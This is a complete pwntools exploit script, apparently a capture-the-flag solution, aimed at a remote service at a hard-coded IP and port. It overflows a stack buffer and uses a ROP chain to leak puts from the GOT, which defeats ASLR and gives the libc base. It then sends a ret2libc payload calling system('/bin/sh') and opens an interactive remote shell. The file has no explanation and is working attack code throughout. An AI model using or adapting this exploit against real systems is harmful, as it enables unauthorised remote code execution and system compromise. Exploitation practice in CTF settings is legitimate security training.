from pwn import *
host = '49.232.142.230'
port = 10930
p = remote(host, port)
context.encoding = 'ascii'
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
main = elf.sym['main']
rop = ROP(elf)
rdi = rop.find_gadget(['pop rdi']).address
ret = rop.find_gadget(['ret']).address
got = elf.got['puts']
plt = elf.plt['puts']
offset = 0x40 + 0x8
payload = b'a'*(offset) + p64(rdi) + p64(got) + p64(plt) + p64(main)
p.sendline(payload)
puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
success("puts ---> %#x", puts)
libc_base = puts - libc.sym['puts']
success("libc_base ---> %#x", libc_base)
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search('/bin/sh'))
payload2 = b'a'*(offset) + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
p.recvuntil('Go!!!\n')
p.sendline(payload2)
p.interactive()